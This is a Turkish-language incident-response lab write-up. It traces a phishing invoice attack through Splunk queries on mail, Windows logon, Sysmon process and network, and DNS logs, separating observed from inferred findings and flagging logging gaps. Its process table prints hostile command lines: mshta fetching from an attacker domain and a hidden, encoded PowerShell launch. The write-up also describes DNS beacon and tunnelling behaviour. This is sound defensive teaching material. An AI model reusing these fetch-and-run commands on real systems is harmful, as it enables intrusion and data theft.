

Kavramlar

SPF (Sender Policy Framework) → Bir domain'in "benim adıma mail gönderebilecek sunucular şunlardır" diye DNS'e yazdığı bir liste. spf=fail, gönderenin bu listede olmadığını, adresin taklit edildiğini (spoofed) gösterir.

DKIM (DomainKeys Identified Mail) → Gönderen domain, maili dijital imza ile imzalar (kriptografik). Alıcı taraf bu imzayı domain'in yayınladığı public key ile doğrular — mail yolda değiştirilmemiş ve gerçekten o domain tarafından imzalanmış mı diye. dkim=none, hiç imza konulmadığı anlamına gelir; sahte imza bile yok.

Masquerading → Saldırganın, gerçek sistem dosyasına benzer ama birebir aynı olmayan bir isim vererek eklediği taşıyıcı. Bu case'te normalde indirilen dosya b.exe; indirilirken svchost_update.exe adına çevrilerek meşru görünmesi amaçlanmıştır.

Negatif kanıt (absence of evidence) → Bir olayın olmadığını gösteren kanıt biçimi. Belirli bir zaman diliminde beklenen bir log kaydının hiç bulunmaması, kendi başına bir bulgu sayılabilir. Örn: task'ın oluşturulduğu zaman diliminde b.kaya için başka hiçbir 4624 kaydı yoksa, bu ayrı bir saldırı oturumu olmadığının kanıtıdır.

Görünürlük boşluğu (visibility gap) → Bir bağı kesinleştirecek log kaynağının elde olmaması durumu. Böyle bir durumda: bağ açık bir INFERRED olarak işaretlenir, hangi kaynağın bunu çözeceği belirtilir, ve bu durum raporun öneriler kısmına bir bulgu olarak yazılır.

Sorgular ve Bulgular

Mail Log İncelenmesi

UNKNOWN bırakılan tek kaynak case2:mail idi. Fatura ekinin nasıl geldiği, SPF/DKIM sonucu belirsizdi.

New SearchSave As ▾Create Table ViewClose

Time range: All time ▾Q+

>

9/14/26
9:12:05.000 AM

2026-09-14T09:12:05 mailgw smtp-gw: msgid=<9f23c@acme-invoices.com> from=<billing@acme-invoices.com> to=<b.kaya@company.local> subject="Fatura #2026-4471 Odeme Bekliyor" attachment="Fatura_2026_4471.docm" attach_sha256=dd50d653c274434bcd62fbde66b49e144ac0658f844ea0528b3cc035dc3a2540 spf=fail dkim=none disposition=delivered
host = mailgw : source = Case2-mail.log :
sourcetype = case2:mail

Bulgu:

spf=fail + dkim=none olmasına rağmen disposition=delivered, mail gateway politikası bunu durdurmamış; saldırı iyi bir spoofing yapmamış ama kurumun mail politikası önünü açmış.

Gönderen SMTP bağlantısı 45.137.21.88 üzerinden gelmiş. Zaten Confirmed malicious işaretlediğimiz C2 IP'siyle birebir aynı; delivery ile C2 altyapısının aynı IP olduğu artık OBSERVED.

case2:mail artık UNKNOWN değil, OBSERVED.

Winsecurity 4624 - Task'ı kim tetikledi?

4698 (scheduled task) sorgusu SubjectUserName=b.kaya döndürmüştü ama bu alan niyeti göstermiyor, sadece hangi hesap bağlamında çalıştığını gösteriyor.

Soru: b.kaya bilerek mi oluşturdu, yoksa ele geçirilmiş oturumu üzerinden mi?

İki senaryo var:

1. b.kaya sosyal mühendislikle kandırılıp bilerek/yanılarak oluşturdu.
2. Oturumun içinde çalışan bir malware process'i (svchost_update.exe/m.exe) Windows API'ini kullanarak arka planda oluşturdu, kullanıcının haberi yok.

index=case2 sourcetype=case2:winsecurity host=FIN-WS03 EventCode=4624
TargetUserName=b.kaya
| table _time, TargetUserName, LogonType, IpAddress, WorkstationName

Time range: All time

✓ 1 event (before 8/31/26 10:21:17:000 AM) No Event Sampling Job II [Icons] Smart Mode

Events Patterns **Statistics (1)** Visualization

Show: 20 Per Page Format Preview: On

_time	TargetUserName	LogonType	IpAddress	WorkstationName
2026-09-14 08:29:50	b.kaya	2	127.0.0.1	FIN-WS03

Bulgu: b.kaya'ya ait tek bir log kaydı var. Sabah normal, konsoldan bir giriş, sıradan bir durum. Task'ın oluşturulduğu zaman diliminde (10:38:02 civarı) başka hiçbir 4624 kaydı yok (negatif kanıt).

Yani task, açılan aynı oturum içinde oluşturuldu; ayrı bir saldırgan girişi (RDP vb.) yok. Muhtemelen svchost_update.exe veya m.exe, persistence sağlamak için scheduled task API'ini çağırdı; b.kaya bu sırada herhangi bir tuşa basmadı, onun oturumu sadece bu kodun çalıştığı ortam oldu.

Bu, "b.kaya'nın bunu bilerek mi yaptığı" sorusunu OBSERVED seviyesinde çözüyor: ek bir logon olmadığı için kasıtlı kullanıcı eylemi ihtimali pratik olarak eleniyor.

**** Sysmon EventID=1 → Task'ı tam olarak hangi process tetikledi (Görünürlük Boşluğu #1)**

Task'ı tam olarak hangi process'in (svchost_update.exe mi, m.exe mi, başka biri mi) çağırdığını sorguladık. EventID=1 ile filtreleme yapıp 10:38:02 civarında (task'tan hemen önce/sonra, 5-10 dk'lık dilimde) herhangi bir process creation kaydı (schtasks.exe çağrısı, PowerShell'in Register-ScheduledTask'ı...) var mı diye bakıldı.

index=case2 sourcetype=case2:sysmon host=FIN-WS03 EventID=1 table _time, Image, CommandLine, ParentProcessId, ProcessId sort _time			Time range: All time
9 events (before 8/31/26 11:02:12.000 AM) No Event Sampling Job			Smart Mode
Events	Patterns	Statistics (9)	Visualization
Show: 20 Per Page	Format	Preview: On	
_time	Image	CommandLine	
2026-09-14 08:35:02	C:\Windows\System32\svchost.exe	svchost.exe -k netsvcs	
2026-09-14 09:05:41	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE	OUTLOOK.EXE	
2026-09-14 09:33:10	C:\Program Files\Google\Chrome\Application\chrome.exe	chrome.exe	
2026-09-14 09:41:12	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE		
2026-09-14 09:41:18	C:\Windows\System32\mshta.exe	mshta.exe http://static-cdn-analytics.com	
2026-09-14 09:41:19	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe -nop -w hidden -enc JABJAD0ATgB1AHcALQBAGIAagB1AGMAdAAgAE4A2	
2026-09-14 09:41:31	C:\Users\b.kaya\AppData\Local\Temp\svchost_update.exe		
2026-09-14 10:05:47	C:\Users\b.kaya\AppData\Local\Temp\m.exe		
2026-09-14 10:40:12	C:\Windows\System32\notepad.exe	notepad.exe	

Bulgu: Tüm host için toplam 9 process creation kaydı var. Son bilinen adım 10:05:47 (m.exe). Task'ın oluşturulduğu 10:38:02 anını kapsayan pencerede (10:05:47–10:40:12 arası) hiçbir process creation kaydı yok.

** Process creation kaydı bulunmuyor → (Görünürlük Boşluğu #2).

Task'ı hangi process'in tetiklediği bu veri setinde kanıtlanamıyor, INFERRED kalıyor. Netleştirecek kaynak: Sysmon config'inin filtreleme ayarlarının kontrolü veya PowerShell Script Block Logging (Event ID 4104).

**Sysmon EventID=3 → 185.220.101.44 bağlantısı (Görünürlük Boşluğu #3)

480 MB'lık transferi (11:20:37, firewall) hangi process'in açtığını bulmak.

New Search						Save As	Create Table View	Close
index=case2 sourcetype=case2:sysmon host=FIN-WS03 EventID=3 table _time, Image, ProcessId, ParentProcessId, DestinationIp, DestinationPort sort _time						Time range: All time		
1 event (before 8/31/26 11:32:05.000 AM) No Event Sampling						Job		
Events	Patterns	Statistics (1)	Visualization					
Show: 20 Per Page	Format	Preview: On						
_time	Image	ProcessId	ParentProcessId	DestinationIp	DestinationPort			
2026-09-14 09:41:24	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	5012		45.137.21.88	443			

Bulgu: Tüm zaman aralığında sadece 1 kayıt var: 09:41:24, powershell.exe → 45.137.21.88:443. 45.137.21.88'e giden diğer 31 bağlantı (firewall'da görülen) Sysmon'da yok; 185.220.101.44'e giden hiçbir bağlantı Sysmon'da yok(ne process, ne PID, ne port bilgisi).

Bu host'ta network connection loglaması (EventID=3) genel olarak çok kısıtlı çalışıyor. 480 MB'lık transferin db_dump.tgz ile bağlantısı INFERRED kalmak zorunda.

DNS → Beacon'ın tam profili

DNS sunucusunun kendisini (dnsresolver) gösteriyor. Ham metinden rex ile çekilen client_ip sorgusu.

Kullanılan sorgu:

```
index=case2 sourcetype=case2:dns
| rex field=_raw "client (?<client_ip>\S+)#\d+ query: (?<dns_query>\S+) IN (?<qtype>\w+) response: (?<dns_response>\S+)"
| table _time, client_ip, dns_query, qtype, dns_response
| sort _time
```

_time	client_ip	dns_query		
2026-09-14 09:56:24	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 09:56:25	192.168.20.45	0ad7196551fe0fb882415a26e814db.static-cdn-analytics.com	TXT	NXDOMAIN
2026-09-14 09:57:24	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 09:58:27	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 09:59:25	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:00:27	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:01:27	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:01:28	192.168.20.45	1ebc26b8664fcd857ac6d5fa106d9a.static-cdn-analytics.com	TXT	NXDOMAIN
2026-09-14 10:02:27	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:03:29	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:04:29	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:05:29	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:05:30	192.168.20.45	ecc487c2e0a28fc41c6e3791f6ba83.static-cdn-analytics.com	TXT	NXDOMAIN
2026-09-14 10:06:29	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:07:29	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:08:32	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:09:35	192.168.20.45	static-cdn-analytics.com	A	45.137.21.88
2026-09-14 10:15:44	192.168.20.45	cdn.jsdelivr.net	A	104.16.85.20

Bulgu: Beacon 09:41:15'te başlıyor (zincirin powershell bağlantısıyla aynı an) ve 10:09:35'te son buluyor (toplam ~28 dakika, 60-63 saniye aralıklarla 38 event). Bu pencerede, yaklaşık 5 dakikalık aralıklarla 4 tane TXT/NXDOMAIN (hex-subdomain tünelleme) sorgusu var: 09:51:20, 09:56:25, 10:01:28, 10:05:30. Beacon 10:09:35'te duruyor ve bir daha dönmüyor.

DNS tünelleme şüphesi dört ayrı düzenli gözleme dayanıyor. Çok güçlü bir OBSERVED örüntü. 480 MB'lık transfer (11:20:37), bu kanalın kapanmasından ~71 dakika sonra, görünürlüğü olmayan ayrı bir bağlantı üzerinden gerçekleşiyor. Aynı C2 kanalı üzerinden değil, farklı bir mekanizma kullanılmış olabilir (INFERRED).

Gürültü

Mail: partner ile teklif yazışması, banka ekstresi, muhasebe mutabakatı. Hepsi spf=pass/dkim=pass, case2 ile ilgisi yok. DNS: windowsupdate.microsoft.com, outlook.office365.com, www.google.com, clients2.google.com, cdn.jsdelivr.net (bilinen/meşru servisler).